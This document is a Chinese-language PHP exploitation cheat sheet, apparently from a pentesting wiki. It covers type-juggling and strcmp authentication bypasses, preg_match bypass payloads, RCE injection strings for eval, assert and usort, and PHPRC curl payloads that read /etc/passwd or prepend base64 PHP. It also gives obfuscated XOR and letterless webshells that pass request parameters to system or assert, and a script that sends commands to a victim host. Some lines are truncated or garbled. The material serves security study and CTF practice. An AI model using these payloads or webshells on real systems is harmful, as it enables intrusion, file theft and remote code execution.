PHP Tricks

Cookies 常见位置:
这也适用于 phpMyAdmin 的 cookies。
Cookies:
PHPSESSID
phpMyAdmin位置:
/var/lib/php/sessions
/var/lib/php5/
/tmp/
Example: ../../../../../../tmp/sess_d1d531db62523df80e1153ada1d4b02e绕过 PHP 比较
弱比较/类型转换(==)
如果在 PHP 中使用 ==,则存在意外情况,比较的行为与预期不同。这是因为 "==" 只比较转换为相同类型的值,如果您还想比较所比较数据的类型是否相同,您需要使用 ===。
PHP 比较表格:https://www.php.net/manual/en/types.comparisons.php

"string" == 0 -> True以非数字开头的字符串等于数字"0xAAAA" == "43690" -> True由十进制或十六进制格式的数字组成的字符串可以与其他数字/字符串进行比较,如果数字相同,则结果为 True(字符串中的数字被解释为数字)"0e3264578" == 0 --> True以 "0e" 开头并跟随任何内容的字符串将等于 0"0X3264578" == 0X --> True以 "0" 开头并跟随任何字母(X 可以是任何字母)和任何内容的字符串将等于 0"0e12334" == "0" --> True这非常有趣,因为在某些情况下,您可以控制以 "0" 开头的字符串输入以及正在被散列并与之比较的某些内容。因此,如果您可以提供一个将创建以 "0e" 开头且没有任何字母的哈希的值,您可以绕过比较。您可以在此处找到具有此格式的已散列字符串:https://github.com/spaze/hashes"X" == 0 --> True字符串中的任何字母等于整数 0
更多信息请参阅 https://medium.com/swlh/php-type-juggling-vulnerabilities-3e28c4ed5c09
in_array()
类型转换 也会影响到 in_array() 函数,默认情况下(需要将第三个参数设置为 true 才能进行严格比较):
$values = array("apple","orange","pear","grape");
var_dump(in_array(0, $values));
//True
var_dump(in_array(0, $values, true));
//Falsestrcmp()/strcasecmp()
如果此函数用于任何身份验证检查(比如检查密码),并且用户控制比较的一侧,他可以发送一个空数组而不是一个字符串作为密码的值(https://example.com/login.php/?username=admin&password[]=),从而绕过此检查:
if (!strcmp("real_pwd","real_pwd")) { echo "Real Password"; } else { echo "No Real Password"; }
// Real Password
if (!strcmp(array(),"real_pwd")) { echo "Real Password"; } else { echo "No Real Password"; }
// Real Password严格类型转换
即使使用 ===,仍可能出现错误,使比较容易受到类型转换的影响。例如,如果比较在比较之前将数据转换为不同类型的对象:
(int) "1abc" === (int) "1xyz" //This will be truepreg_match(/^.*/)
preg_match() 可用于验证用户输入(它检查用户输入中是否存在黑名单中的任何单词/正则表达式,如果没有,则代码可以继续执行)。
换行符绕过
然而,当限定正则表达式的开头时,preg_match() 只检查用户输入的第一行,如果你可以以多行的方式发送输入,你就可以绕过这个检查。例如:
$myinput="aaaaaaa
11111111"; //Notice the new line
echo preg_match("/1/",$myinput);
//1 --> In this scenario preg_match find the char "1"
echo preg_match("/1.*$/",$myinput);
//1 --> In this scenario preg_match find the char "1"
echo preg_match("/^.*1/",$myinput);
//0 --> In this scenario preg_match DOESN'T find the char "1"
echo preg_match("/^.*1.*$/",$myinput);
//0 --> In this scenario preg_match DOESN'T find the char "1"要绕过此检查,您可以使用新行进行url编码(%0A)发送该值,或者如果可以发送JSON数据,请将其分成多行发送:
{
"cmd": "cat /etc/passwd"
}找到一个示例:https://ramadistra.dev/fbctf-2019-rceservice
长度错误绕过
(这个绕过似乎是在 PHP 5.2.5 上尝试的,我无法在 PHP 7.3.15 上使其工作)
如果你可以向 preg_match() 发送一个非常大的有效输入,它无法处理它,你就可以绕过检查。例如,如果它在黑名单中列出了一个 JSON,你可以发送:
payload = '{"cmd": "ls -la", "injected": "'+ "a"*1000001 + '"}'ReDoS绕过
技巧来源:https://simones-organization-4.gitbook.io/hackbook-of-a-hacker/ctf-writeups/intigriti-challenges/1223 和 https://mizu.re/post/pong

简而言之,问题发生在PHP中的preg_*函数上,它建立在PCRE库之上。在PCRE中,某些正则表达式是通过大量递归调用来匹配的,这会使用大量堆栈空间。可以设置允许的递归次数上限,但在PHP中,此限制默认为100,000,这超出了堆栈的容量。
这个Stackoverflow主题也在帖子中链接,其中更深入地讨论了这个问题。我们的任务现在很明确:
发送一个输入,使正则表达式执行100,000次以上的递归,导致SIGSEGV,使preg_match()函数返回false,从而使应用程序认为我们的输入不是恶意的,最后在有效载荷的结尾处添加类似{system(<verybadcommand>)} 的内容,以获取SSTI --> RCE --> flag :)。
在正则表达式术语中,我们实际上并没有执行10万次“递归”,而是在计算“回溯步骤”,正如PHP文档所述,默认情况下,在pcre.backtrack_limit变量中默认为1,000,000(1M)。
要达到这个目标,'X'*500_001将导致100万个回溯步骤(50万个向前和50万个向后)。
payload = f"@dimariasimone on{'X'*500_001} {{system('id')}}"用于 PHP 混淆的类型转换
$obfs = "1"; //string "1"
$obfs++; //int 2
$obfs += 0.2; //float 2.2
$obfs = 1 + "7 IGNORE"; //int 8
$obfs = "string" + array("1.1 striiing")[0]; //float 1.1
$obfs = 3+2 * (TRUE + TRUE); //int 7
$obfs .= ""; //string "7"
$obfs += ""; //int 7在重定向后执行(EAR)
如果 PHP 正在重定向到另一个页面,但在设置了 Location 头之后没有调用 die 或 exit 函数,PHP 将继续执行并将数据附加到主体中:
<?php
// In this page the page will be read and the content appended to the body of
// the redirect response
$page = $_GET['page'];
header('Location: /index.php?page=default.html');
readfile($page);
?>路径遍历和文件包含利用
检查:
File Inclusion/Path traversal更多技巧
register_globals: 在 PHP < 4.1.1.1 或者配置错误的情况下,register_globals 可能会被激活(或者它们的行为被模仿)。这意味着在全局变量中,比如 $_GET 如果它们有一个值,比如 $_GET["param"]="1234",你可以通过 $param 访问它。因此,通过发送 HTTP 参数,你可以覆盖在代码中使用的变量。
PHPSESSION cookies of the same domain are stored in the same place,因此如果在一个域中不同路径中使用不同的 cookies,你可以使一个路径访问另一个路径的 cookie,设置另一个路径 cookie 的值。这样,如果两个路径访问具有相同名称的变量,你可以使路径1 中该变量的值应用于路径2。然后路径2 将视路径1 的变量为有效(通过给 cookie 分配在路径2 中对应的名称)。
当你有机器用户的用户名时,请检查地址: /~<USERNAME> 看看是否激活了 php 目录。
password_hash/password_verify
这些函数通常用于 PHP 中从密码生成哈希,以及检查密码是否与哈希匹配。
支持的算法有:PASSWORD_DEFAULT 和 PASSWORD_BCRYPT(以 $2y$ 开头)。请注意,PASSWORD_DEFAULT 经常与 PASSWORD_BCRYPT 相同。目前,PASSWORD_BCRYPT 在输入上有一个大小限制为 72 字节。因此,当你尝试使用此算法对大于 72 字节的内容进行哈希时,只有前 72 字节会被使用:
$cont=71; echo password_verify(str_repeat("a",$cont), password_hash(str_repeat("a",$cont)."b", PASSW
False
$cont=72; echo password_verify(str_repeat("a",$cont), password_hash(str_repeat("a",$cont)."b", PASSW
TrueHTTP 头绕过滥用 PHP 错误
如果一个 PHP 页面正在打印错误并回显用户提供的一些输入,用户可以使 PHP 服务器打印回一些 足够长的内容,以便当它尝试 将头部添加到响应 时,服务器会抛出错误。 在以下场景中,攻击者让服务器抛出一些大错误,正如您在屏幕上看到的,当 PHP 尝试 修改头部信息时,它无法(例如 CSP 头部未发送给用户):

代码执行
system("ls"); `ls`; shell_exec("ls");
通过 preg_replace() 实现 RCE
preg_replace(pattern,replace,base)
preg_replace("/a/e","phpinfo()","whatever")要执行“replace”参数中的代码,至少需要一个匹配项。 这个preg_replace选项在PHP 5.5.0版本之后已经被弃用。
通过Eval()实现RCE
'.system('uname -a'); $dummy='
'.system('uname -a');#
'.system('uname -a');//
'.phpinfo().'
<?php phpinfo(); ?>通过 Assert() 实现 RCE
这个 php 中的函数允许你执行以字符串形式编写的代码,以便返回 true 或 false(并根据此修改执行)。通常用户变量会被插入到字符串的中间。例如:
assert("strpos($_GET['page']),'..') === false") --> 在这种情况下,要获得RCE,你可以这样做:
?page=a','NeVeR') === false and system('ls') and strpos('a通过 usort() 实现远程代码执行(RCE)
该函数用于使用特定函数对项目数组进行排序。 要滥用此函数:
<?php usort(VALUE, "cmp"); #Being cmp a valid function ?>
VALUE: );phpinfo();#
<?php usort();phpinfo();#, "cmp"); #Being cmp a valid function ?><?php
function foo($x,$y){
usort(VALUE, "cmp");
}?>
VALUE: );}[PHP CODE];#
<?php
function foo($x,$y){
usort();}phpinfo;#, "cmp");
}?>使用 // 进行代码注释。
要发现需要关闭的括号数量:
?order=id;}//:我们收到一个错误消息(Parse error: syntax error, unexpected ';')。我们可能缺少一个或多个括号。?order=id);}//:我们收到一个 警告。看起来差不多。?order=id));}//:我们收到一个错误消息(Parse error: syntax error, unexpected ')' i)。我们可能有太多的闭合括号。
通过 .httaccess 实现 RCE
如果你可以 上传 一个 .htaccess 文件,那么你可以 配置 几个东西,甚至执行代码(配置扩展名为 .htaccess 的文件可以 执行)。
可以在这里找到不同的 .htaccess shells。
通过环境变量实现 RCE
如果你发现一个允许你 修改 PHP 环境变量 的漏洞(以及另一个允许上传文件的漏洞,尽管通过更多研究可能可以绕过此问题),你可以滥用这种行为来实现 RCE。
LD_PRELOAD:这个环境变量允许你在执行其他二进制文件时加载任意库(尽管在这种情况下可能不起作用)。PHPRC:指示 PHP 查找其配置文件 的位置,通常称为php.ini。如果你可以上传自己的配置文件,那么使用PHPRC来指向 PHP。添加一个auto_prepend_file条目,指定第二个上传的文件。这第二个文件包含正常的 PHP 代码,然后由 PHP 运行时执行,在执行任何其他代码之前。
上传一个包含我们的 shellcode 的 PHP 文件
上传第二个文件,其中包含一个
auto_prepend_file指令,指示 PHP 预处理器执行我们在步骤 1 中上传的文件将
PHPRC变量设置为我们在步骤 2 中上传的文件。
获取有关如何执行此链的更多信息来自原始报告。
PHPRC - 另一个选项
如果你 无法上传文件,你可以在 FreeBSD 中使用包含
stdin的 "file"/dev/fd/0,作为发送到stdin的请求的 主体:curl "http://10.12.72.1/?PHPRC=/dev/fd/0" --data-binary 'auto_prepend_file="/etc/passwd"'或者要获得 RCE,启用
allow_url_include并在一个文件前添加 base64 PHP 代码:curl "http://10.12.72.1/?PHPRC=/dev/fd/0" --data-binary $'allow_url_include=1\nauto_prepend_file="data://text/plain;base64,PD8KICAgcGhwaW5mbygpOwo/Pg=="'技术来自此报告。
PHP 静态分析
查看是否可以在对这些函数的调用中插入代码(来自这里):
exec, shell_exec, system, passthru, eval, popen
unserialize, include, file_put_cotents
$_COOKIE | if #This mea如果您正在调试PHP应用程序,可以在/etc/php5/apache2/php.ini中添加display_errors = On来全局启用错误打印,并重新启动apache:sudo systemctl restart apache2
解密PHP代码
您可以使用web www.unphp.net 来解密php代码。
PHP包装器和协议
PHP包装器和协议可以让您在系统中绕过写入和读取保护,从而对其进行破坏。有关更多信息,请查看此页面。
Xdebug未经身份验证的RCE
如果您发现phpconfig()输出中启用了Xdebug,则应尝试通过https://github.com/nqxcode/xdebug-exploit获取RCE
变量变量
$x = 'Da';
$$x = 'Drums';
echo $x; //Da
echo $$x; //Drums
echo $Da; //Drums
echo "${Da}"; //Drums
echo "$x ${$x}"; //Da Drums
echo "$x ${Da}"; //Da Drums利用新的 $_GET["a"]($_GET["b"])
如果在一个页面中可以创建任意类的新对象,则可能能够获得RCE,请查看以下页面以了解详情:
PHP - RCE abusing object creation: new $_GET["a"]($_GET["b"])在不使用字母的情况下执行PHP
https://securityonline.info/bypass-waf-php-webshell-without-numbers-letters/
使用八进制
$_="\163\171\163\164\145\155(\143\141\164\40\56\160\141\163\163\167\144)"; #system(cat .passwd);异或
$_=("%28"^"[").("%33"^"[").("%34"^"[").("%2c"^"[").("%04"^"[").("%28"^"[").("%34"^"[").("%2e"^"[").("%29"^"[").("%38"^"[").("%3e"^"["); #show_source
$__=("%0f"^"!").("%2f"^"_").("%3e"^"_").("%2c"^"_").("%2c"^"_").("%28"^"_").("%3b"^"_"); #.passwd
$___=$__; #Could be not needed inside eval
$_($___); #If ¢___ not needed then $_($__), show_source(.passwd)XOR 简易 shell 代码
根据这篇解析,可以通过以下方式生成一个简单的 shellcode:
$_="`{{{"^"?<>/"; // $_ = '_GET';
${$_}[_](${$_}[__]); // $_GET[_]($_GET[__]);
$_="`{{{"^"?<>/";${$_}[_](${$_}[__]); // $_ = '_GET'; $_GET[_]($_GET[__]);所以,如果您可以执行任意PHP代码而不使用数字和字母,您可以发送类似以下滥用该有效负载以执行任意PHP代码的请求:
POST: /action.php?_=system&__=cat+flag.php
Content-Type: application/x-www-form-urlencoded
comando=$_="`{{{"^"?<>/";${$_}[_](${$_}[__]);要获取更详细的解释,请查看https://ctf-wiki.org/web/php/php/#preg_match
异或 Shellcode(在 eval 中)
#!/bin/bash
if [[ -z $1 ]]; then
echo "USAGE: $0 CMD"
exit
fi
CMD=$1
CODE="\$_='\lt;>/'^'{{{{';\${\$_}[_](\${\$_}[__]);" `$_='lt;>/'^'{{{{'; --> _GET` `${$_}[_](${$_}[__]); --> $_GET[_]($_GET[__])` `So, the function is inside $_GET[_] and the parameter is inside $_GET[__]` http --form POST "http://victim.com/index.php?_=system&__=$CMD" "input=$CODE"Perl 类似
<?php
$_=[];
$_=@"$_"; // $_='Array';
$_=$_['!'=='@']; // $_=$_[0];
$___=$_; // A
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;
$___.=$__; // S
$___.=$__; // S
$__=$_;
$__++;$__++;$__++;$__++; // E
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // R
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$___.=$__;
$____='_';
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // P
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // O
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // S
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$____.=$__;
$_=$$____;
$___($_[_]); // ASSERT($_POST[_]);
最后更新于